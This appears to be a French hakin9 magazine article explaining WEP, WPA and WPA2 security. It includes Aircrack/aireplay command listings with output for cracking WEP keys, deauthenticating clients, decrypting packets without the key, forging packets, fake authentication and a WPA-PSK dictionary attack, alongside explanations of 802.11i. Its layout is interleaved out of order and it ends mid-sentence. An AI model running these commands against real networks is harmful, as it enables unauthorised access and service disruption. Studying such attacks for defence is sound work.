Vulnérabilité potentielle dans RC4 (Wagner) Octobre 2000 Première publication sur les faiblesses du WEP : Unsafe at any key size; An analysis of the WEP encapsulation (Walker) Mai 2001 An inductive chosen plaintext attack against WEP/ WEP2 (Arbaugh) Juillet 2001 Attaque bit flipping sur le CRC – Intercepting Mobile Communications : The Insecurity of 802.11 (Borisov, Goldberg, Wagner) Août 2001 Attaques FMS – Weaknesses in the Key Scheduling Algorithm of RC4 (Fluhrer, Mantin, Shamir) Août 2001 Sortie de AirSnort Février 2002 Optimisation de l'attaque FMS par h1kari Août 2004 Attaque de KoreK (IVs uniques) – sortie de chopchop et chopper Juillet/Août 2004 Sortie d'Aircrack (Devine) et WepLab (Sanchez ) implémentant l'attaque de KoreK. www.hakin9.org hakin9 Nº 1/2006 13 Dossier Listing 1. Activation du mode moniteur # airmon.sh start ath0 Interface Chipset ath0 Atheros Requête ARP Driver madwifi (monitor mode enabled) Listing 2. Découverte des réseaux et des clients Wi-Fi environnants # airodump ath0 wep-crk 0 • • • BSSID 00:13:10:1F:9A:72 PWR 62 Beacons 305 # Data 16 BSSID 00:13:10:1F:9A:72 STATION 00:0C:F1:19:77:5C la taille allouée aux IV est trop faible (24 bits – moins de 5000 paquets sont nécessaire pour avoir 50% de chance de collision) et la réutilisation des IV est autorisée (pas de protection contre le rejeu des messages), aucun vrai contrôle d'intégrité (le CRC32 est normalement utilisé pour la détection d'erreur et n'est pas une fonction cryptographique pour l'intégrité du fait de sa linéarité), aucun mécanisme interne de mise à jour des clés n'est présent. Cassage de clé WEP en utilisant Aircrack Des attaques pratiques contre le WEP peuvent être facilement menées grâce à des outils tel que Aircrack (outil créé par le chercheur français en sécurité Christophe Devine). Aircrack est une suite d'outils composée de 3 principaux binaires étant utilisé conjointement pour retrouver la clé : • • • airodump : outil de capture réseau utilisé pour découvrir les réseaux WEP environnants, aireplay : outil pour injecter artificiellement du trafic, aircrack : casseur de clé WEP utilisant les IVs uniques collectés préalablement. L'injection de trafic utilisant aireplay n'est supportée que sur une certain nombre de puce Wi-Fi, le support pour l'injection en mode moniteur 14 hakin9 Nº 1/2006 PWR 56 CH 1 MB 48 Packets 1 ENC WEP ESSID hakin9demo ESSID hakin9demo nécessite la dernière version des pilotes modifiés. Ce mode est l'équivalent du mode promiscuous des réseaux filaires dans lequel on évite le rejet des paquets n'étant pas à destination de la machine se trouvant dans ce mode (ceci est généralement effectué au niveau de la couche physique du modèle OSI) autorisant ainsi la capture de tous les paquets. Avec des pilotes modifiés, il est possible d'injecter et de capturer simultanément le trafic en utilisant une seule carte sans fil. Le but de l'attaque est de générer du trafic afin de capturer des IVs uniques transmis entre un client légitime et le point d'accès. Certaines données chiffrées sont facilement détectables car elles ont des longueurs fixes, des adresses destinations fixes, etc. C'est le cas par exemple des requêtes ARP (voir l’Encadré Requête ARP envoyées à l'adresse destination de diffusion (FF:FF:FF: FF:FF:FF) avec une taille fixe de 68 octets. Ces requêtes ARP peuvent être rejouées afin de générer des réponses ARP d'un client légitime, ces messages étant chiffrés avec de nouveaux IVs. Dans les exemples suivants, 00:13:10:1F:9A:72 est l'adresse MAC du point d'accès (BSSID) sur le canal 1 avec le SSID hakin9demo et 00:09:5B:EB:C5:2B l'adresse MAC du client sans fil (utilisant le WEP ou WPA-PSK suivant les cas). La plupart des commandes nécessitent les privilèges root. www.hakin9.org Le protocole ARP (Address Resolution Protocol – RFC826) est utilisé pour faire la correspondance entre des adresses IP sur 32 bits et l'adresse Ethernet sur 48 bits (les réseaux Wi-Fi utilisent aussi le protocole Ethernet). Par exemple, quand une machine A (192.168.1.1) veut communiquer avec une machine B (192.168.1.2), l'adresse IP connue de B doit être traduite avec son adresse MAC correspondante. Pour réaliser celà, la machine A envoie un message en diffusion contenant l'adresse IP de la machine B (Who has 192.168.1.2? Tell 192.168.1.1). La machine cible, reconnaissant que l'adresse IP du paquet correspond à la sienne, retourne une réponse révélant son adresse MAC (192.168.1.2 is at 01:23:45:67:89:0A). La réponse est généralement mise en cache. La 1ère étape consiste à activer le mode moniteur sur les cartes sans fil (ici un modèle basé sur un composant Atheros) afin de capturer tous le trafic (voir le Listing 1). L'étape suivante permet de découvrir les réseaux sans fil environnants en scannant les 14 canaux utilisés par les réseaux Wi-Fi (voir le Listing 2). Le résultat du Listing 2 peut être interprété de la façon suivante : un point d'accès avec le BSSID 00:13:10:1F:9A:72 utilise le protocol WEP sur le canal 1 avec le SSID hakin9demo, un client identifié par la MAC 00:0C:F1:19:77:5C est associé et authentifié sur ce réseau sans fil. Une fois le réseau cible de l'attaque repéré, la capture doit être réalisée sur le canal adéquat pour éviter de perdre des paquets lors du passage sur les autres canaux. Cette étape fournit une sortie similaire à l'étape précédente : # airodump ath0 wep-crk 1 Ensuite, il est possible de lancer l'injection de trafic avec aireplay en utilisant les informations précédemment découvertes. L'injection commencera dès qu'une requête ARP correspondant au BSSID attaqué sera capturée sur le réseau sans fil : Sécurité WEP, WPA et WPA2 # aireplay -3 \ -b 00:13:10:1F:9A:72 \ -h 00:0C:F1:19:77:5C \ -x 600 ath0 (...) Read 980 packets (got 16 ARP requests), sent 570 packets... L'étape finale consiste a utiliser aircrack pour casser la clé WEP. Il est possible de lancer cette étape sur le fichier pcap alors que airodump capture toujours le trafic (voir les résultats d'aircrack sur la Figure 2) : # aircrack -x -0 wep-crk.cap Autres types d'attaques basées sur Aircrack Figure 2. Résultat d'Aircrack après quelques minutes paquets de dé-authentification à l'adresse de diffusion: D'autres attaques intéressantes peuvent être réalisées avec Aircrack. Voyons quelques unes d'entre elles. # aireplay -0 0 Attaque 2 : Dé-authentification Attaque 3 : Décrypter un paquet chiffré avec le protocole WEP sans connaître la clé Cette attaque peut être conduite pour découvrir un SSID caché (i.e. un identifiant non diffusé), pour capturer le 4-Way Handshake WPA ou pour réaliser un déni de service (le sujet sera abordé plus loin dans la partie 802.11i). Le but de cette attaque est de forcer la ré-authentification des clients, elle est rendue possible par le manque d'authentification des trames de contrôle (utilisées pour l'authentification, l'association, etc.) permettant à un attaquant d'usurper les adresses MAC. Un client sans fil peut être déauthentifié en utillisant la commande suivante, cette dernière usurpant l'adresse MAC du BSSID pour envoyer un paquet de dé-authentification à l'adresse MAC du client visé : # aireplay -0 5 -a 00:13:10:1F:9A:72 -c 00:0C:F1:19:77:5C ath0 Une dé-authentification massive est aussi possible (mais pas toujours très fiable) en usurpant continuellement le BSSID et en envoyant les -a 00:13:10:1F:9A:72 ath0 Cette attaque est basée sur la preuve de concept publiée par KoreK appellée chopchop pouvant décrypter un paquet chiffré avec le protocole WEP sans avoir connaissance de la clé. Le contrôle d'intégrité implémenté dans le protocole WEP permet à un attaquant de modifier à la fois le contenu chiffré du paquet et le CRC correspondant. De plus, l'utilisation de l'opérateur XOR au sein du protocole WEP implique qu'un octet dans le message chiffré dépend toujours du même octet du texte en clair. En coupant le message chiffré de son dernier octet, le message devient corrompu mais il est possible de faire un choix sur la valeur de l'octet correspondant du texte en clair et de corriger le texte chiffré. Si le paquet corrigé est réinjecté sur le réseau, il sera supprimé par le point d'accès si le choix fait est incorrect (dans ce cas un nouveau choix doit être fait) mais pour un choix correct il relayera le paquet comme à son habitude. En répétant l'attaque sur tous les octets du message chiffré, www.hakin9.org il est possible de décrypter l'intégralité du paquet et de retrouver la suite chiffrante associée. Il est important de noter que l'incrémentation de l'IV n'est pas obligatoire dans le protocole WEP, il est donc possible de réutiliser la suite chiffrante pour usurper d'autres paquets (en ré-utilisant le même IV). La carte sans fil doit être basculée dans le mode moniteur sur le canal adéquat (voir l'exemple précédent pour la démarche à suivre). L'attaque doit être lancée contre un client légitime (toujours 00:0C:F1:19:77:5C dans notre cas), aireplay informera l'attaquant de chaque paquet chiffré qu'il capturera (voir le Listing 3). Deux fichiers pcap sont créés : un pour le paquet déchiffré et l'autre pour la suite chiffrante associée. Le fichier de données résultant peut être lu par un lecteur adéquat (nous utiliserons tcpdump) – voir le Listing 4 pour un ping échangé entre deux machines. Une fois la suite chiffrante capturée, il est possible d'usurper n'importe quel paquet chiffré. Ici une requête ARP envoyée de 192.168.2.123 (00: 0C:F1:19:77:5C) à 192.168.2.103 : # arpforge \ replay_dec-0916-114019.xor \ 1 \ 00:13:10:1F:9A:72 \ 00:0C:F1:19:77:5C \ 192.168.2.123 \ 192.168.2.103 \ forge-arp.cap hakin9 Nº 1/2006 15 Dossier Listing 3. Décryptage d'un paquet WEP sans connaissance préalable de la clé # aireplay -4 -h 00:0C:F1:19:77:5C ath0 Read 413 packets... Size: 124, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:13:10:1F:9A:72 Dest. MAC = 00:13:10:1F:9A:70 Source MAC = 00:0C:F1:19:77:5C 0x0000: 0841 d500 0013 101f 9a72 000c f119 775c 0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c 0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c 0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6 0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1 0x0070: 3b88 c5b1 0843 0289 1bff 5160 Use this packet ? y Saving chosen packet in replay_src-0916-113713.cap Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 (...) Offset 35 (97% done) | xor = 83 | pt = 00 | 691 Offset 34 (98% done) | xor = 2F | pt = 08 | 692 Saving plaintext in replay_dec-0916-114019.cap Saving keystream in replay_dec-0916-114019.xor Completed in 183s (0.47 bytes/s) Finalement, aireplay peut être utilisé pour rejouer ce paquet (voir le Listing 5). Cette méthode est moins automatique que l'attaque propre à Aircrack de construction de requête ARP (l'option -1) mais elle est beaucoup plus modulaire – l'attaquant peut utiliser la suite chiffrante qu'il a découverte pour forger n'importe quel paquet dont la taille est inférieure à la suite chiffrante (dans le cas contraire il doit l'agrandir). Attaque 4 : Fausse authentification Les méthodes pour casser le protocole WEP énoncées précédemment (Attaque 1 à 3) nécessitent un client sans fil légitime (physique ou virtuel, un client physique étant généralement plus adéquat) associé au point d'accès pour que ce dernier ne supprime pas les paquets à cause d'une adresse de destination d'un client non associé. Si une authentification ouverte est utilisée, n'importe quel client peut s'authentifier et s'associer sur le point d'accès, ce dernier supprimant ensuite les paquets non envoyés avec la bonne clé WEP. Dans l'exemple de la Listing 6, aireplay est 16 hakin9 Nº 1/2006 secondes. Ce comportement peut être imité par aireplay en remplaçant la seconde option (0) par 30. La norme 802.11i .A.......r....w\ .....p.@......., \.'...h.#..GZ.[v .x.....0...hV.Sl pF_..K....j.4wt. .......5#.U...[. .+>.[...";.D7... ;....C....Q` frames written in frames written in 1120ms 2013ms frames written in frames written in 2072ms 2076ms utilisé pour falsifier une demande d'authentification et d'association pour le SSID hakin9demo (BSSID: 00:13:10:1F:9A:72) avec l'adresse MAC usurpée 0:1:2:3:4:5. Certaines bornes nécessitent la ré-assocition du client toutes les 30 En janvier 2001, le groupe de travail i fut crée à l'IEEE pour améliorer l'authentification et le chiffrement des données au sein des réseaux 802.11. En avril 2003, la Wi-Fi Alliance (une association promouvant et certifiant les équipements Wi-Fi) publia une recommandation pour répondre aux inquiétudes des entreprises concernant la sécurité des réseaux sans fil. Ces derniers étaient aussi au courant que les clients n'étaient pas prêt à remplacer leurs équipements existants. En Juin 2004, la version finale de la norme 802.11i fut adoptée et le nom commercial WPA2 fut choisi par la Wi-Fi Alliance. La norme IEEE 802.11i introduit des changements fondamentaux comme la séparation de l'authentification utilisateur et le chiffrement/contrôle d'intégrité des messages, celà permettant une architecture de sécurité robuste passant à l'échelle et convenant parfaitement tant aux entreprises qu'aux particuliers. La nouvelle architecture pour les réseaux sans fil est appellée Listing 4. Lecture d'un fichier pcap issu de l'attaque 3 # tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11) 11:40:19.642112 BSSID:00:13:10:1f:9a:72 § SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254: ICMP echo request, id 23046, seq 1, length 64 Listing 5. Rejeu d'un paquet forgé # aireplay -2 -r forge-arp.cap ath0 Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:13:10:1F:9A:72 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:0C:F1:19:77:5C 0x0000: 0841 0201 0013 101f 9a72 000c f119 775c 0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c 0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c 0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a 0x0040: 49b7 52da Use this packet ? y Saving chosen packet in replay_src-0916-124231.cap You must also start airodump to capture replies. Sent 1029 packets... www.hakin9.org .A.......r....w\ ..............., \.'.I.`.%.KF.... ..S.o-.....3..Q. I.R. Sécurité WEP, WPA et WPA2 RSN (Robust Security Network) et utilise l'authentification 802.1X, la rotation et la distribution des clés et de nouveaux mécanismes d'intégrité et de chiffrement. Bien que l'architecture RSN soit plus complexe, elle a le mérite de proposer une solution sécurisée pouvant passer facilement à l'échelle. Un RSN devrait typiquement accepter uniquement des équipements capables de supporter les RSN mais l'IEEE 802.11i a aussi défini une architecture temporaire TSN (Transitional Security Network) dans laquelle les équipements RSN et les systèmes WEP peuvent coexister permettant ainsi aux utilisateurs de mettre à jour leurs équipements. Si la procédure d'authentification ou d'association utilisée entre deux stations est basé sur le 4-Way Handshake, l'association est appellée RSNA (Robust Security Network Association). Un contexte de communication sécurisé s'effectue en quatre phases (voir la Figure 4) : • la mise en accord sur la politique de sécurité, Listing 6. Fausse authentification # aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0 18:30:00 Sending Authentication Request 18:30:00 Authentication successful 18:30:00 Sending Association Request 18:30:00 Association successful • • • l'authentification 802.1X, la dérivation et la distribution des clés, le chiffrement et l'intégrité au sein d'une RSNA. Phase 1 : Mise en accord sur la politique de sécurité La première phase permet aux deux parties communicantes de s'accorder sur la politique de sécurité à utiliser. Les politiques de sécurité supportées par le point d'accès sont diffusées dans les trames Beacon et Probe Response (suivant un message Probe Request du client). Une authentification ouverte standard constitue l'étape suivante (comme celle utilisée dans les réseaux TSN, cette authentification est toujours positive). La réponse du client aux politiques de sécurité supportées est incluse dans le mes- sage Association Request validé par le message Association Response du point d'accès. Les informations de la politique de sécurité sont envoyées dans le champ RSN IE (Information Element) détaillant : • • • • les méthodes d'authentification supportées (802.1X, clé pré-partagée (PSK)), le protocole de sécurité pour le chiffrement du trafic vers une seule destination (unicast) (CCMP, TKIP, etc.) – suite de chiffrement pairwise, le protocole de sécurité pour le chiffrement du trafic en diffusion (multicast) (CCMP, TKIP, etc.) – suite de chiffrement de groupe, le support de la pré-authentification permettant aux utilisateurs de se pré-authentifier avant de IEEE 802.1X et EAP Le procotole d'authentification 802.1X (aussi connu sous le nom de contrôle d'accès basé sur le port (Port-Based Network Access Control)) est un cadre de travail développé initialement pour le réseau filaire fournissant l'authentification, l'autorisation, les méchanismes de distribution des clés en implémentant un contrôle d'accès pour les utilisateurs se connectant au réseau. L'architecture 802.1X est consituée de trois entités fonctionnelles : • • • le client 802.1X (supplicant) voulant joindre le réseau, le contrôleur (authentifcator) contrôlant l'accès au réseau, le serveur d'authentification (authentication server) prenant les décisions d'autorisation. Dans les réseaux sans fil, le point d'accès joue le rôle de contrôleur. Chaque port physique (port virtuel dans le cas des réseaux sans fil) est divisé en deux ports logiques appellés PAE (Port Access Entity). Le PAE d'authentification est toujours ouvert et autorise toutes les trames d'authentification à le traverser tandis que le PAE de service est uniquement ouvert après une authentification réussie (i.e. dans un état autorisé) pour une durée limitée (3600 secondes par défaut). La décision relative à l'accès revient à la troisième entité appellée serveur d'authentification (qui peut être soit un serveur Radius dédié ou – par exemple pour les parti- www.hakin9.org culier – un simple processus fonctionnant sur le point d'accès). La Figure 3 illustre comment ses entités communiquent entre elles. La norme 802.11i apporte quelques modifications à la norme IEEE 802.1X pour l'adapter aux réseaux sans fils et en particulier pour la protéger du vol d'identité. L'authentification des messages a été incluse pour garantir que le client 802.1X et le contrôleur (la borne) calculent correctement leurs clés secrètes et activent le chiffrement avant de communiquer sur le réseau. Le client 802.1X et le contrôleur communiquent en utilisant un protocole basé sur EAP. Il est important de comprendre que le contrôleur joue un rôle passif – il transmet simplement tous les messages au serveur d'authentification. EAP est un cadre de travail pour le transport de méthodes d'authentification variées basé sur un nombre limité de messages (Request, Response, Success, Failure), tandis que les messages intermédiaires sont dépendant de la méthode d'authentification sélectionnée: EAP-TLS, EAPTTLS, PEAP, Kerberos V5, EAP-SIM, etc. Quand le processus complet est achevé, les deux entités (i.e. le client 802.1X et le serveur d'authentification) partagent une clé maîtresse secrète. Le protocole utilisé dans les réseaux sans fils pour transporter EAP s'appelle EAPOL (EAP Over LAN), les communications entre le contrôleur et le serveur d'authentification utilisent des protocoles de plus haut niveau tel que Radius, etc. hakin9 Nº 1/2006 17 Dossier Figure 3. Modèle IEEE 802.1X issu de la norme IEEE 802.1X et serveur (nécessitant une infrastructure à clé publique), EAP/TTLS ou PEAP pour des authentifications hybrides (où le certificat est uniquement nécessaire côté serveur) etc. L'authentification 802.1X est initiée lorsque le point d'accès demande les données d'identification du client, la réponse du client contient alors la méthode d'authentification préférée. Différents messages – dépendant de la méthode spécifique choisie – sont alors échangés par la suite entre le client et le serveur d'authentification afin de générer une clé maîtresse (Master Key – MK). À la fin de la procédure, un message Radius Accept est envoyé du serveur d'authentification au point d'accès contenant la MK ainsi qu'un message final EAP Success pour le client. La Figure 6 illustre cette seconde phase. Phase 3 : Hiérarchie et distribution des clés La sécurité des transmissions repose essentiellement sur des clés secrètes. Dans les RSN, chaque clé a une durée de vie limitée et de nombreuses clés sont utilisées, organisées dans une hiérarchie. Quand un contexte de sécurité est établi après une authentification réussie, des clés temporaires (de sessions) sont créées et régulièrement mises à jour jusqu'à la fermeture du contexte. La génération et l'échange des clés est le but de cette troisième phase. Deux poignées de main (Handshake) ont lieu pour dériver les différentes clés (voir la Figure 7) : Figure 4. Les phases opérationnelles du 802.11i • • Figure 5. Phase 1 : La mise en accord sur la politique de sécurité basculer sur un nouveau point d'accès pour un handover en douceur. La Figure 5 illustre cette première phase. 18 hakin9 Nº 1/2006 Phase 2 : Authentification 802.1X La seconde phase consiste en l'authentification 802.1X basée sur EAP et la méthode spécifique choisie: EAP/TLS avec certificat client www.hakin9.org Le 4-Way Handshake pour la dérivation de la PTK (Pairwise Transient Key) et de la GTK (Group Transient Key), Le Group Key Handshake pour le renouvellement de la GTK. La dérivation de la PMK (Pairwise Master Key) dépend de la méthode d'authentification choisie : • si la PSK (Pre-Shared Key) est utilisée, PMK = PSK. La PSK est générée à partir de la phrase secrète (composée de 8 à 63 caractères) ou directement à partir Sécurité WEP, WPA et WPA2 • d'une chaîne de 256 bits, cette méthode est adaptée pour les particuliers n'ayant pas de serveur d'authentification, si un serveur d'authentification est utilisé, la PMK est dérivée de la MK issue de l'authentification 802.1X. La PMK en elle même n'est jamais utilisée pour le chiffrement ou le contrôle d'intégrité. Néanmoins, elle est utilisée pour la génération de clés de chiffrement temporaires – pour le trafic à destination d'une machine il s'agit de la PTK (Pairwise Transient Key). La taille de la PTK dépend du protocol de chiffrement choisi : 512 bits pour TKIP et 384 bits pour CCMP. La PTK consiste en plusieurs clés temporelles dédiées : • • • • KCK (Key Confirmation Key – 128 bits) : Clé pour authentifier les messages (MIC) durant le 4-Way Handshake et le Group Key Handshake, KEK (Key Encryption Key – 128 bits) : Clé pour la confidentialité des données durant le 4-Way Handshake et le Group Key Handshake, TK (Temporary Key – 128 bits) : Clé pour le chiffrement des données (utilisée dans TKIP ou CCMP), TMK (Temporary MIC Key – 2x64 bits) : Clé pour l'authentification des données (utilisée seulement par Michael dans TKIP). Une clé dédiée est utilisée pour chaque sens de communication. Figure 6. Phase 2 : L'authentification 802.1X Figure 7. Phase 3 : Dérivation et distribution de clé Cette hiérarchie peut être résumée en Figure 8. Le 4-Way Handshake, initié par le point d'accès, permet : • • • • • de confirmer la connaissance de la PMK par le client, de dériver une nouvelle PTK, d'installer les clés de chiffrement et d'intégrité, de chiffrer le transport de la GTK, de confirmer la suite de chiffrement choisie. Figure 8. Phase 3 : Hiérarchie de clé Pairwise Quatre messages EAPOL-Key sont échangés entre le client et le point d'accès durant le 4-Way Handshake. Voyez la Figure 9. www.hakin9.org La PTK est dérivée de la PMK, d'une chaîne de caractère fixe, de l'adresse MAC du point d'accès, de l'adresse MAC du client et de hakin9 Nº 1/2006 19 Dossier rectement dérivé la PTK puis les clés temporelles. Le troisième message est envoyé par le contrôleur au client et contient la GTK (chiffrée avec la clé KEK), dérivée d'une GMK et d'un GNonce aléatoire (voir la Figure 10 pour des détails), accompagnée d'un MIC calculé sur le troisième message en utilisant la clé KCK. Quand le client reçoit ce message, le MIC est vérifié pour s'assurer que le contrôleur connait la PMK et qu'il a correctement dérivé la PTK puis les clés temporelles. Le dernier message acquitte la réussite de tous le Handshake et indique que le client a correctement installé les clés et qu'il est prêt à commencer le chiffrement des données. Après réception du message, le contrôleur installe ses clés et vérifie la valeur du MIC. De cette façon, le client mobile et le point d'accès ont obtenus, calculés et installés les clés de chiffrement et d'intégrité et sont maintenant en mesure de communiquer sur un canal sûr pour le trafic à destination d'une machine ou en diffusion. Le trafic en diffusion est protégé par une autre clé, la GTK (Group Transient Key), générée à partir d'une clé maîtresse GMK (Group Master Key), d'une chaîne fixe, de l'adresse MAC du point d'accès et d'un nombre aléatoire GNonce. La longueur de la GTK dépend du protocole de chiffrement – 256 bits pour TKIP et 128 bits pour CCMP. La GTK est divisée en des clés temporelles dédiées : Figure 9. Phase 3 : 4-Way Handshake • Figure 10. Phase 3 : Hiérarchie de clé de groupe deux nombres aléatoires (ANonce et SNonce, générés respectivement par le contrôleur et le client). Le point d'accès initie le premier message en choisissant un nombre aléatoire Anonce puis l'envoie au client sans le chiffrer et l'authentifier. Le client génère ensuite son propre nombre aléatoire SNonce et est maintenant en mesure de calculer la PTK et de dériver les clés temporelles, il envoie 20 hakin9 Nº 1/2006 donc SNonce et le MIC calculé sur le second message en utilisant la clé KCK. Quand le contrôleur reçoit le deuxième message, il peut extraire SNonce (car le message n'est pas chiffré) et calculer la PTK puis dériver les clés temporelles. Il est maintenant en mesure de vérifier la valeur du MIC contenu dans le second message, il s'assure ainsi que le client connait la PMK et a cor- www.hakin9.org • GEK (Group Encryption Key) : Clé pour le chiffrement des données (utilisée par CCMP pour l'authentification et le chiffrement et par TKIP), GIK (Group Integrity Key) : Clé pour l'authentification des données (utilisée seulement par Michael avec TKIP). Cette hiérarchie peut être résumée en Figure 10. Deux messages EAPOL-Key sont échangés entre le client et le Sécurité WEP, WPA et WPA2 point d'accès durant le Group Key Handshake. Cette poignée de main se base sur les clés temporelles générées durant le 4-Way Handshake (la KCK et la KEK). Ce processus est illustré en Figure 11. Le Group Key Handshake est seulement nécessaire en cas de désassociation d'un client ou lors du renouvellement de la GTK suite à une demande client. Le contrôleur initie le premier message en choisissant le nombre aléatoire GNonce et en calculant une nouvelle GTK. Il envoie la GTK chiffrée (en utilisant la KEK), le numéro de séquence de la GTK et le MIC calculé sur ce message grâce à la KCK au client. Quand le message est reçu par le client, le MIC est vérifié et la GTK déchiffrée. Le second message acquitte la réussite du Group Key Handshake en envoyant le numéro de séquence de la GTK et le MIC calculé sur ce second message. Après réception du message, le contrôleur installe la nouvelle GTK (après avoir vérifié la valeur du MIC). Une STAkey Handshake existe aussi, mais elle ne sera pas détaillée ici. Elle permet la génération d'une clé transitoire appellée STAkey à l'aide du point d'accès pour les connexions de type ad-hoc. Phase 4 : Chiffrement et intégrité au sein d'une RSNA Toutes les clés générées précédemment sont utilisées dans les protocoles de chiffrement et d'intégrité au sein d'une RSNA : Figure 11. Phase 3 : Group Key Handshake de données avant sa fragmentation alors que le MPDU représente les multiples unités de données après fragmentation. Cette différence est importante dans le protocole de chiffrement TKIP et CCMP car dans TKIP le MIC est calculé sur le MSDU tandis que dans CCMP il est calculé sur le MPDU. Tout comme le WEP, TKIP est basé sur l'algorithme de chiffrement RC4 mais il existe seulement pour une raison : afin de permettre une mise à jour aux systèmes à base de WEP pour bénéficier d'un protocole plus sécurisé. TKIP est nécessaire pour la certification WPA et est inclu de manière optionnel dans le RSN 802.11i. TKIP procure des corrections pour chaque faille du WEP détaillée précédemment : • • • • TKIP (Temporal Key Hash), CCMP (Counter-Mode/Cipher Block Chaining Message Authentication Code Protocol), WRAP (Wireless Robust Authenticated Protocol). Un concept important doit être compris avant de détailler chacun de ces protocoles : la différence entre un MSDU (MAC Service Data Unit) et un MPDU (MAC Protocol Data Unit). Les deux se réfèrent à un simple paquet de données, mais le MSDU représente un paquet • • l'intégrité des messages : un nouveau MIC (Message Integrity Code) basé sur l'algorithme Michael peut être implémenté de manière logicielle sur des processeurs lents. IV : nouvelle méthode de sélection de valeur des IV, reutilisation de l'IV en temps que compteur anti-rejeu (TSC, ou TKIP Sequence Counter) et augmentation de la taille de l'IV pour éviter sa réutilisation, Per Packet Key Mixing : pour obtenir des clés en apparence non liées, www.hakin9.org • gestion des clés : nouveau méchanisme pour la génération et la distribution des clés. Le schéma TKIP de mixage des clés est divisé en deux phases. La phase 1 implique les champs statiques – la clé de session secrète TEK, l'adresse MAC du transmetteur TA (incluse pour éviter la collision d'IV) et les 32 bits de poids fort de l'IV. La phase 2 implique la sortie de la phase 1 et les 16 bits de poids faible de l'IV, changeant ainsi tous les bits du champ Per Packet Key pour chaque nouvel IV. La valeur de l'IV commence toujours à 0 et est incrémenté de 1 pour chaque paquet transmis, tout message ayant un TSC inférieur ou égal au message précédent doit être rejeté. La sortie de la phase 2 et une partie de l'IV étendu (ainsi qu'un octet factice) sont l'entrée de l'algorithme RC4, ce dernier générant une suite chiffrante que l'on XOR avec le texte en clair de la MPDU, le MIC calculé sur le MPDU et le vieux ICV issu du WEP (voir la Figure 12). Le calcul du MIC utilise l'algorithme Michael développé par Niels Ferguson. Il a été créé pour TKIP et dispose d'un niveau de sécurité voulu de 20 bits (cet algorithme n'utilise pas de multiplications pour des raisons de performance car il se doit d'être supporté sur des vieux équipements pour permettre leur mise à jour vers WPA). À cause de cette hakin9 Nº 1/2006 21 Dossier Figure 12. Schéma TKIP de mixage des clés et de chiffrement Figure 13. Calcul du MIC en utilisant l'algorithme Michael Figure 14. Chiffrement CCMP 22 hakin9 Nº 1/2006 www.hakin9.org limitation, des contre-mesures sont nécessaires pour éviter la construction du MIC. Les erreurs relatives au MIC doivent se maintenir en dessous de deux par minute pour éviter une mise en quarantaine de 60 secondes et une re-négociation des clés (GTK et PTK). Le MIC est calculé en utilisant l'adresse source (SA), l'adresse destination (DA), le texte en clair MSDU et la TMK appropriée (dépendant du sens de la communication, Sécurité WEP, WPA et WPA2 une clé différente étant utilisée pour la transmission et la réception). CCMP est basé sur le chiffrement par bloc AES (Advanced Encryption Standard) dans son mode d'opération CCM avec une taille de clé et de bloc de 128 bits. AES est à CCMP ce que RC4 est à TKIP mais contrairement à TKIP, qui a été fait pour s'accomoder du matériel WEP existant, il n'est pas un compromis de sécurité mais une nouvelle architecture de protocole. CCMP utilise le mode compteur en combinaison avec la méthode d'authentification des messages appellée Cipher Block Chaining (CBC-MAC) permettant de produire un MIC. Des propriétés intéressantes furent aussi ajoutées comme l'utilisation d'une simple clé pour le chiffrement et l'authentification des données (avec un vecteur d'initialisation différent pour chacun) ou l'authentification de données non chiffrées. Le protocole CCMP ajoute 16 octets au MPDU : 8 octets pour l'en-tête CCMP et 8 octets pour le MIC. L'en-tête CCMP est un champ non chiffré inclu entre l'en-tête MAC et la partie des données chiffrées contenant les 48 bits du PN (Packet Number = IV étendu) et le Group Key KeyID. Le PN est incrémenté de un pour chaque MPDU. Le calcul du MIC utilise l'algorithme CBC-MAC qui chiffre un bloc aléatoire de départ (obtenu grâce au champ Priority, à l'adresse source du MPDU et au PN incrémenté) et XOR les blocs suivants pour obtenir un MIC final sur 64 bits (le MIC final fait 128 bits mais les 64 bits de poids faible sont écartés). Le MIC est alors concaténé aux données en clair pour le chiffrement AES en mode compteur. Ce compteur est construit sur une valeur aléatoire identique à celle utilisée pour le MIC combinée à un compteur incrémenté de 1 pour chaque bloc. Le dernier protocol est le WRAP, aussi basé sur AES, mais utilisant le schéma de chiffrement et d'authentification OCB (Offset Codebook Mode). OCB fut le premier mode sélectionné par le groupe de travail Listing 7. Découverte des réseaux et des clients Wi-Fi environnants # airodump ath0 wpa-crk 0 BSSID 00:13:10:1F:9A:72 PWR 56 Beacons 112 # Data 16 BSSID 00:13:10:1F:9A:72 STATION 00:0C:F1:19:77:5C PWR 34 CH 1 MB 48 Packets 1 ENC WPA ESSID hakin9demo ESSID hakin9demo Listing 8. Lancement de l'attaque par dictionnaire $ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap Opening wpa-psk.cap Read 541 packets. BSSID ESSID Encryption 00:13:10:1F:9A:72 hakin9demo WPA (1 handshake) IEEE 802.11i mais il fut abandonné à cause de problèmes de propriété intellectuelle et d'une éventuelle licence. CCMP fut alors adopté comme obligatoire. Les faiblesses de WPA/WPA2 Quelques faiblesses ont été découvertes dans WPA/WPA2 depuis leur sortie, aucune d'entre elles n'est critique si des recommandations simples de sécurité sont suivies. La vulnérabilité la plus exploitable est une attaque contre la clé PSK utilisée dans WPA/WPA2. Comme 